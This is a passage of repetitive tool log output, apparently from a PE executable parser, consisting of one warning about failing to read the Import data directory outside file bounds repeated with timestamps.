data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 